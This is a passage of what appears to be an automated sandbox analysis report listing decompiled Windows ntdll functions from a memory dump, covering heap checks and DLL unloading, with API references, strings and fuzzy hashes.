ZwQueryVirtualMemory.1105(000000FF,?,00000003,00000014,00000014,00000000,?,?,?,-00000018,?,?,?,?,6CEC4C8F), ref: 6CE71C84
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6CE71DDC
DbgPrint.1105(ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix),00000000,?,?,?), ref: 6CE71DFE

Strings

HEAP[%wZ]: , xrefs: 6CE71DD7
HEAP: , xrefs: 6CE71DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6CE71DF9
`, xrefs: 6CE71C8D

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$MemoryPrintVirtual$AllocateInitializeQueryThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 1108326835-2586055223
Opcode ID: b93cea35043ba2102fab70a17dc146bdc2b64c5e59646d8db26a91d2bf88392a
Instruction ID: 781655438b59ed168c871b1971c69330a4544c9fb9e5951be78885fa70cc9b22
Opcode Fuzzy Hash: b93cea35043ba2102fab70a17dc146bdc2b64c5e59646d8db26a91d2bf88392a
Instruction Fuzzy Hash: 325134322457809FE321CBA8C954F6777F8FB85718F380568F5648BB91D728D805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0F51D, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
librarymemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6CE0F51D(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				intOrPtr _t63;
				intOrPtr _t76;
				signed int _t77;
				signed int _t86;
				void* _t88;
				signed int _t89;
				void* _t90;
				intOrPtr* _t91;
				intOrPtr _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				signed int _t101;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t113;
				intOrPtr* _t115;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t120;

				_t106 = __edx;
				_t93 = __ecx;
				_t120 = (_t118 & 0xfffffff8) - 0x14;
				_v8 =  *0x6cefd360 ^ _t120;
				_t115 = __ecx;
				_v24 =  *[fs:0x30];
				_t88 = 0;
				_v16 = __ecx;
				_push(_t108);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L3:
					 *(_t115 + 0x20) =  *(_t115 + 0x20) | 0xffffffff;
					E6CE10225(_t88, _t93, _t108, _t115,  *(_t115 + 0x20));
					L4:
					if( *0x6cef8472 != _t88) {
						_t106 =  *0x7ffe0330;
						_t89 =  *0x6cefb210; // 0x0
						_t94 = 0x20;
						_t93 = _t94 - (_t106 & 0x0000001f);
						asm("ror ebx, cl");
						_t88 = _t89 ^ _t106;
					}
					L6CE1EEF0(0x6cef52d8);
					_t54 =  *_t115;
					while(1) {
						_v20 = _t54;
						if(_t54 == _t115) {
							break;
						}
						_t22 = _t54 - 0x54; // -84
						_t109 = _t22;
						__eflags =  *(_t109 + 0x34) & 0x00000008;
						if(( *(_t109 + 0x34) & 0x00000008) != 0) {
							_push(_t93);
							_t106 = 2;
							E6CE18B80(_t109, _t106);
							__eflags = _t88;
							if(_t88 != 0) {
								 *0x6cefb1e0(_t109);
								 *_t88();
							}
							_t93 = _t109;
							E6CE18800(_t93, 1);
							_t63 = _v32;
							__eflags =  *(_t63 + 0x68) & 0x00000100;
							if(( *(_t63 + 0x68) & 0x00000100) != 0) {
								_t93 = _t109;
								E6CE8EA20(_t93);
							}
						}
						__eflags =  *0x6cef5780 & 0x00000005;
						if(__eflags != 0) {
							_t46 = _t109 + 0x24; // -48
							E6CE85510("minkernel\\ntdll\\ldrsnap.c", 0xc5e, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t46);
							_t120 = _t120 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t109 + 0x18)));
						E6CE10100(_t88, _t93, _t109, _t115, __eflags);
						_t54 =  *_v28;
					}
					_t65 = E6CE1EB70(_t93, 0x6cef52d8);
					while(1) {
						L8:
						_t95 =  *(_t115 + 0x18);
						if(_t95 == 0) {
							break;
						}
						_t110 =  *_t95;
						__eflags = _t110 - _t95;
						if(_t110 != _t95) {
							_t65 =  *_t110;
							 *_t95 =  *_t110;
						} else {
							_t34 = _t115 + 0x18;
							 *_t34 =  *(_t115 + 0x18) & 0x00000000;
							__eflags =  *_t34;
						}
						__eflags = _t110;
						if(_t110 == 0) {
							break;
						} else {
							E6CE22280(_t65, 0x6cef84d8);
							_t92 =  *((intOrPtr*)(_t110 + 4));
							_t37 = _t110 + 8; // -76
							_t107 = _t37;
							_t101 =  *(_t92 + 0x1c);
							_t76 =  *_t101;
							_v28 = _t76;
							__eflags = _t76 - _t107;
							if(_t76 != _t107) {
								_t117 = _v24;
								do {
									_t77 =  *_t117;
									_t101 = _t117;
									_t117 = _t77;
									__eflags = _t77 - _t107;
								} while (_t77 != _t107);
								_t115 = _v16;
							}
							 *_t101 =  *_t107;
							__eflags =  *(_t92 + 0x1c) - _t107;
							if(__eflags == 0) {
								asm("sbb eax, eax");
								_t86 =  ~(_t101 - _t107) & _t101;
								__eflags = _t86;
								 *(_t92 + 0x1c) = _t86;
							}
							_t106 = 0;
							_push( &_v12);
							E6CE1093F(_t92, _t92, 0, _t110, _t115, __eflags);
							E6CE1FFB0(_t92, _t110, 0x6cef84d8);
							__eflags = _v20;
							if(_v20 != 0) {
								E6CE0F51D(_t92, 0);
							}
							_t65 = RtlFreeHeap( *0x6cef7b98, 0, _t110);
							continue;
						}
					}
					_t111 =  *_t115;
					 *(_t115 + 0x20) = 0xfffffffe;
					if(_t111 == _t115) {
						L14:
						_pop(_t112);
						_pop(_t116);
						_pop(_t90);
						return E6CE4B640(_t65, _t90, _v8 ^ _t120, _t106, _t112, _t116);
					} else {
						goto L10;
					}
					do {
						L10:
						_t91 =  *_t111;
						_t113 = _t111 + 0xffffffac;
						 *(_t113 + 0x34) =  *(_t113 + 0x34) | 0x00000002;
						E6CE22280(_t65, 0x6cef84d8);
						E6CE1008A(_t113, _t115);
						if(( *(_t113 + 0x34) & 0x00000080) != 0) {
							_t17 = _t113 + 0x74; // -140
							L6CE0F900(0x6cef85fc, _t17);
							_t18 = _t113 + 0x68; // -152
							L6CE0F900(0x6cef85f4, _t18);
							 *(_t113 + 0x20) =  *(_t113 + 0x20) & 0x00000000;
						}
						E6CE1FFB0(_t91, _t113, 0x6cef84d8);
						if( *0x6cef7b94 != 0) {
							E6CE40413(_t113);
						}
						_t65 = E6CE1EC7F(_t113);
						_t111 = _t91;
					} while (_t91 != _t115);
					goto L14;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L4;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) != 9) {
					goto L8;
				}
				goto L3;
			}

0x6ce0f51d
0x6ce0f51d
0x6ce0f525
0x6ce0f52f
0x6ce0f53b
0x6ce0f53d
0x6ce0f541
0x6ce0f543
0x6ce0f547
0x6ce0f54c
0x6ce0f55a
0x6ce0f55a
0x6ce0f55e
0x6ce0f563
0x6ce0f569
0x6ce0f718
0x6ce0f720
0x6ce0f72b
0x6ce0f72c
0x6ce0f72e
0x6ce0f730
0x6ce0f730
0x6ce0f574
0x6ce0f579
0x6ce0f57b
0x6ce0f57b
0x6ce0f581
0x00000000
0x00000000
0x6ce0f61f
0x6ce0f61f
0x6ce0f622
0x6ce0f626
0x6ce0f628
0x6ce0f62b
0x6ce0f62e
0x6ce0f633
0x6ce0f635
0x6ce0f73a
0x6ce0f740
0x6ce0f740
0x6ce0f63d
0x6ce0f63f
0x6ce0f644
0x6ce0f648
0x6ce0f64f
0x6ce65d11
0x6ce65d13
0x6ce65d13
0x6ce0f64f
0x6ce0f655
0x6ce0f65c
0x6ce65d1d
0x6ce65d37
0x6ce65d3c
0x6ce65d3c
0x6ce0f662
0x6ce0f664
0x6ce0f667
0x6ce0f670
0x6ce0f670
0x6ce0f58c
0x6ce0f591
0x6ce0f591
0x6ce0f591
0x6ce0f596
0x00000000
0x00000000
0x6ce0f677
0x6ce0f679
0x6ce0f67b
0x6ce0f706
0x6ce0f708
0x6ce0f681
0x6ce0f681
0x6ce0f681
0x6ce0f681
0x6ce0f681
0x6ce0f685
0x6ce0f687
0x00000000
0x6ce0f68d
0x6ce0f692
0x6ce0f697
0x6ce0f69a
0x6ce0f69a
0x6ce0f69d
0x6ce0f6a0
0x6ce0f6a2
0x6ce0f6a6
0x6ce0f6a8
0x6ce0f6f2
0x6ce0f6f6
0x6ce0f6f6
0x6ce0f6f8
0x6ce0f6fa
0x6ce0f6fc
0x6ce0f6fc
0x6ce0f700
0x6ce0f700
0x6ce0f6ac
0x6ce0f6ae
0x6ce0f6b1
0x6ce0f6b9
0x6ce0f6bb
0x6ce0f6bb
0x6ce0f6bd
0x6ce0f6bd
0x6ce0f6c4
0x6ce0f6c6
0x6ce0f6c9
0x6ce0f6d3
0x6ce0f6d8
0x6ce0f6dd
0x6ce0f711
0x6ce0f711
0x6ce0f6e8
0x00000000
0x6ce0f6e8
0x6ce0f687
0x6ce0f59c
0x6ce0f59e
0x6ce0f5a7
0x6ce0f60d
0x6ce0f611
0x6ce0f612
0x6ce0f613
0x6ce0f61e
0x00000000
0x00000000
0x00000000
0x6ce0f5a9
0x6ce0f5a9
0x6ce0f5a9
0x6ce0f5ab
0x6ce0f5b3
0x6ce0f5b7
0x6ce0f5be
0x6ce0f5c7
0x6ce0f5c9
0x6ce0f5d2
0x6ce0f5d7
0x6ce0f5e0
0x6ce0f5e5
0x6ce0f5e5
0x6ce0f5ee
0x6ce0f5fa
0x6ce65d46
0x6ce65d46
0x6ce0f602
0x6ce0f607
0x6ce0f609
0x00000000
0x6ce0f5a9
0x6ce0f552
0x00000000
0x00000000
0x6ce0f558
0x00000000
0x00000000
0x00000000

APIs

RtlEnterCriticalSection.1105(6CEF52D8), ref: 6CE0F574
RtlLeaveCriticalSection.1105(6CEF52D8,?,00000000,6CEF52D8), ref: 6CE0F58C
RtlAcquireSRWLockExclusive.1105 ref: 6CE0F5B7
RtlRbRemoveNode.1105(6CEF85FC,-0000008C), ref: 6CE0F5D2
RtlRbRemoveNode.1105(6CEF85F4,-00000098,6CEF85FC,-0000008C), ref: 6CE0F5E0
RtlReleaseSRWLockExclusive.1105(6CEF84D8), ref: 6CE0F5EE
LdrUnloadAlternateResourceModuleEx.1105(?,00000000,6CEF52D8), ref: 6CE0F667
RtlAcquireSRWLockExclusive.1105(6CEF84D8,6CEF52D8,?,00000000,6CEF52D8), ref: 6CE0F692
RtlReleaseSRWLockExclusive.1105(6CEF84D8,?,6CEF84D8,6CEF52D8,?,00000000,6CEF52D8), ref: 6CE0F6D3
RtlFreeHeap.1105(00000000,-00000054,6CEF84D8,?,6CEF84D8,6CEF52D8), ref: 6CE0F6E8
RtlDebugPrintTimes.1105(-00000054,?,6CEF52D8), ref: 6CE0F73A

Strings

LdrpUnloadNode, xrefs: 6CE65D28
Unmapping DLL "%wZ", xrefs: 6CE65D21
minkernel\ntdll\ldrsnap.c, xrefs: 6CE65D32

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCriticalNodeReleaseRemoveSection$AlternateDebugEnterFreeHeapLeaveModulePrintResourceTimesUnload
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 2596885168-2283098728
Opcode ID: 5f11a2893533fac9de08b5fd471d6a683f2ad43edade00bedd25cec689759257
Instruction ID: 9fbeced90c6d0b596ff3140650b3241be299cb112d4ce04a853e4ec5a37b7584
Opcode Fuzzy Hash: 5f11a2893533fac9de08b5fd471d6a683f2ad43edade00bedd25cec689759257
Instruction Fuzzy Hash: 6251F1713087019BD714DF69D884A5A77B1BB8631CF340A1DE4A187FA1DB38A879CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE052A5, Relevance: 24.2, APIs: 16, Instructions: 161
nativememoryfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6CE052A5(char __ecx) {
				char _v20;
				void* _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v60;
				void* __ebx;
				void* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				void* _t102;
				void* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					L6CE1EEF0(0x6cef79a0);
					_t104 =  *0x6cef8210;
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E6CE1EB70(_t93, 0x6cef79a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E6CE49890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									L6CE1EEF0(0x6cef79a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E6CE1EB70(0, 0x6cef79a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t93 = _t104 + 0xc;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E6CE3F0BF(_t104 + 0xc,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									L6CE1EEF0(0x6cef79a0);
									__eflags =  *0x6cef8210 - _t104;
									if( *0x6cef8210 == _t104) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x6cef8210 = _t102;
										 *_t95 =  *((intOrPtr*)(_t102 + 0xc));
										 *((intOrPtr*)(_t95 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
										 *((intOrPtr*)(_t95 + 8)) =  *((intOrPtr*)(_t102 + 4));
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E6CE84888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E6CE1EB70(_t95, 0x6cef79a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6CE495D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6CE495D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E6CE1EB70(_t93, 0x6cef79a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E6CE495D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
										_t102 = _v40;
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t102 + 4)));
										E6CE495D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E6CE3F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x6ce052a5
0x6ce052ad
0x6ce052b0
0x6ce052b3
0x6ce052b7
0x6ce052ba
0x6ce052bf
0x6ce052c4
0x6ce052cc
0x00000000
0x00000000
0x6ce052ce
0x6ce052d9
0x6ce052dd
0x6ce052e7
0x6ce052f7
0x6ce052f9
0x6ce052fd
0x6ce60dcf
0x6ce60dd5
0x6ce60dd6
0x6ce60dd7
0x6ce60dd8
0x6ce60dd9
0x6ce60dde
0x6ce60ddf
0x6ce60de0
0x6ce60de1
0x6ce60de2
0x6ce60de5
0x6ce60dea
0x6ce60dec
0x6ce60f60
0x6ce60f64
0x6ce60f70
0x6ce60f76
0x6ce60f79
0x6ce60f79
0x00000000
0x6ce60f64
0x6ce60df2
0x6ce60df7
0x6ce60e04
0x6ce60e0d
0x6ce60e10
0x6ce60e1a
0x6ce60e1c
0x6ce60e4c
0x6ce60e52
0x6ce60e61
0x6ce60e67
0x6ce60e6b
0x6ce60e70
0x6ce60e76
0x6ce60ed7
0x6ce60edc
0x6ce60ee0
0x6ce60eea
0x6ce60ef0
0x6ce60ef6
0x6ce60ef9
0x6ce60efe
0x6ce60f01
0x6ce60f01
0x6ce60f0b
0x6ce60f12
0x6ce60f16
0x6ce60f18
0x6ce60f1b
0x6ce60f2c
0x6ce60f31
0x6ce60f31
0x6ce60f35
0x6ce60f39
0x6ce60f3a
0x6ce60f3c
0x6ce60f3f
0x6ce60f50
0x6ce60f55
0x6ce60f55
0x6ce60f59
0x6ce052eb
0x6ce052f1
0x6ce052f1
0x6ce60e7d
0x6ce60e84
0x6ce60e88
0x6ce60e8a
0x6ce60e8d
0x6ce60e9e
0x6ce60ea3
0x6ce60ea3
0x6ce60ea7
0x6ce60eaf
0x6ce60eb3
0x6ce60eb9
0x6ce60ebc
0x6ce60ecd
0x6ce60ecd
0x00000000
0x6ce60eb3
0x6ce60e21
0x6ce60e2b
0x6ce60e2f
0x6ce60e30
0x6ce60e3a
0x6ce60e3f
0x6ce60e41
0x00000000
0x00000000
0x6ce60e47
0x00000000
0x6ce60e47
0x6ce60df9
0x6ce60dfe
0x00000000
0x00000000
0x00000000
0x6ce60dfe
0x6ce05303
0x6ce05307
0x00000000
0x6ce05309
0x00000000
0x6ce05309
0x6ce05307
0x6ce052e9
0x6ce052e9
0x00000000
0x6ce052e9
0x6ce0530e
0x00000000

APIs

RtlEnterCriticalSection.1105(6CEF79A0,?,?,00000000,?,?,?,6CE051B4,?,?,?), ref: 6CE052BF
RtlLeaveCriticalSection.1105(6CEF79A0,6CEF79A0,?,?,00000000,?,?,?,6CE051B4,?,?,?), ref: 6CE052DD
ZwFsControlFile.1105(?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6CEF79A0,6CEF79A0,?,?,00000000), ref: 6CE60DE5
RtlEnterCriticalSection.1105(6CEF79A0,6CEF79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6CEF79A0,6CEF79A0,?), ref: 6CE60E6B
RtlLeaveCriticalSection.1105(6CEF79A0,6CEF79A0,6CEF79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6CEF79A0,6CEF79A0,?), ref: 6CE60E7D
ZwClose.1105(?,6CEF79A0,6CEF79A0,6CEF79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6CEF79A0,6CEF79A0), ref: 6CE60E8D
RtlFreeHeap.1105(?,00000000,?,?,6CEF79A0,6CEF79A0,6CEF79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6CE60E9E
ZwClose.1105(?,6CEF79A0,6CEF79A0,6CEF79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6CEF79A0,6CEF79A0), ref: 6CE60EBC
RtlFreeHeap.1105(?,00000000,6CEF79A0,?,6CEF79A0,6CEF79A0,6CEF79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6CE60ECD

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CloseEnterFreeHeapLeave$ControlFile
String ID:
API String ID: 1928194833-0
Opcode ID: 919ee91dda44c6cd4f7fc18e680732db3292fad05f60520ebb0bc8dc36affb8d
Instruction ID: 127bc776fc0641b64103e6cf3a53fadb2affd84234a8c98f60deb19c619fbf52
Opcode Fuzzy Hash: 919ee91dda44c6cd4f7fc18e680732db3292fad05f60520ebb0bc8dc36affb8d
Instruction Fuzzy Hash: 2D51CA3024A7429BD3208F69C940B57BBB8FF40318F344A1EE4A587F90E734E858CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC49A4, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 114memorynativeCOMMON

Download Yara Rule

APIs

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6CEC44B7,?), ref: 6CEC49DF

Part of subcall function 6CE49660: LdrInitializeThunk.NTDLL(6CE918BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6CEE0810,0000001C,6CE91616), ref: 6CE4966A

RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6CEC44B7,?), ref: 6CEC49FE
memcpy.1105(01000000,?,?,00000000,?,00000000,?,?,6CEC44B7,?), ref: 6CEC4A0C
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6CEC4A42
DbgPrint.1105(HEAP: ,?), ref: 6CEC4A4F
DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6CEC4A66
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?), ref: 6CEC4ABC
DbgPrint.1105(HEAP: ,?,?,?,?,?,?), ref: 6CEC4AC9
DbgPrint.1105( This is located in the %s field of the heap header.,?,?,?,?,?,?), ref: 6CEC4ADB

Strings

HEAP[%wZ]: , xrefs: 6CEC4A3D, 6CEC4AB7
HEAP: , xrefs: 6CEC4A4A, 6CEC4A5D, 6CEC4A5F, 6CEC4AC4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 6CEC4A61
This is located in the %s field of the heap header., xrefs: 6CEC4AD6

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateCompareInitializeThunkVirtualmemcpy
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 4107597528-336120773
Opcode ID: 55b6bcfbe63f2144afab9eca0412a202261fb83a5d2bc033ad17581c072575b3
Instruction ID: d4d5ef711f8011153e75a505d863117ee93e10833a59ed022c272f58fd5393e9
Opcode Fuzzy Hash: 55b6bcfbe63f2144afab9eca0412a202261fb83a5d2bc033ad17581c072575b3
Instruction Fuzzy Hash: F931E032701114EFD310CB58C984FAB73B8EB09728F30455AF825EBB51E731E954C69A

Uniqueness

Uniqueness Score: -1.00%

Function 6CE03ACA, Relevance: 21.3, APIs: 14, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6CE03ACA(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t197;
				intOrPtr _t200;
				intOrPtr _t206;
				intOrPtr _t209;
				intOrPtr _t217;
				signed int _t224;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr _t238;
				signed int _t246;
				signed int _t249;
				char* _t252;
				intOrPtr _t257;
				signed int _t272;
				intOrPtr _t280;
				intOrPtr _t281;
				signed char _t286;
				signed int _t291;
				signed int _t292;
				intOrPtr _t299;
				intOrPtr _t301;
				signed int _t307;
				intOrPtr* _t308;
				signed int _t309;
				intOrPtr _t312;
				signed int* _t313;
				intOrPtr _t315;
				signed int _t316;
				void* _t317;

				_push(0x84);
				_push(0x6cedf4d0);
				E6CE5D0E8(__ebx, __edi, __esi);
				_t312 = __edx;
				 *((intOrPtr*)(_t317 - 0x38)) = __edx;
				 *((intOrPtr*)(_t317 - 0x20)) = __ecx;
				_t307 = 0;
				 *(_t317 - 0x74) = 0;
				 *((intOrPtr*)(_t317 - 0x78)) = 0;
				_t272 = 0;
				 *(_t317 - 0x60) = 0;
				 *((intOrPtr*)(_t317 - 0x68)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t197 = __edx + 0x28;
				 *((intOrPtr*)(_t317 - 0x7c)) = _t197;
				 *((intOrPtr*)(_t317 - 0x88)) = _t197;
				E6CE22280(_t197, _t197);
				_t280 =  *((intOrPtr*)(_t312 + 0x2c));
				 *((intOrPtr*)(_t317 - 0x34)) = _t280;
				L1:
				while(1) {
					if(_t280 == _t312 + 0x2c) {
						E6CE1FFB0(_t272, _t307,  *((intOrPtr*)(_t317 - 0x7c)));
						asm("sbb ebx, ebx");
						return E6CE5D130( ~_t272 & 0xc000022d, _t307, _t312);
					}
					_t15 = _t280 - 4; // -4
					_t200 = _t15;
					 *((intOrPtr*)(_t317 - 0x70)) = _t200;
					 *((intOrPtr*)(_t317 - 0x8c)) = _t200;
					 *((intOrPtr*)(_t317 - 0x6c)) = _t200;
					_t308 = 0x7ffe0010;
					_t313 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									 *(_t317 - 0x30) =  *0x6cef8628;
									 *(_t317 - 0x44) =  *0x6cef862c;
									 *(_t317 - 0x28) =  *_t313;
									 *(_t317 - 0x58) = _t313[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t281 =  *0x7ffe0008;
										__eflags = _t301 -  *_t308;
										if(_t301 ==  *_t308) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t313 = 0x7ffe03b0;
									_t309 =  *0x7ffe03b0;
									 *(_t317 - 0x40) = _t309;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t317 - 0x3c)) = _t206;
									__eflags =  *(_t317 - 0x28) - _t309;
									_t308 = 0x7ffe0010;
								} while ( *(_t317 - 0x28) != _t309);
								__eflags =  *(_t317 - 0x58) - _t206;
							} while ( *(_t317 - 0x58) != _t206);
							 *(_t317 - 0x28) =  *0x6cef862c;
							__eflags =  *(_t317 - 0x30) -  *0x6cef8628;
							_t308 = 0x7ffe0010;
						} while ( *(_t317 - 0x30) !=  *0x6cef8628);
						__eflags =  *(_t317 - 0x44) -  *(_t317 - 0x28);
					} while ( *(_t317 - 0x44) !=  *(_t317 - 0x28));
					_t315 =  *((intOrPtr*)(_t317 - 0x6c));
					_t307 = 0;
					_t272 =  *(_t317 - 0x60);
					asm("sbb edx, [ebp-0x3c]");
					asm("sbb edx, eax");
					 *(_t317 - 0x28) = _t281 -  *(_t317 - 0x40) -  *(_t317 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x2c]");
					_t209 =  *((intOrPtr*)(_t317 - 0x20));
					_t286 =  *(_t315 + 0x24) &  *(_t209 + 0x18);
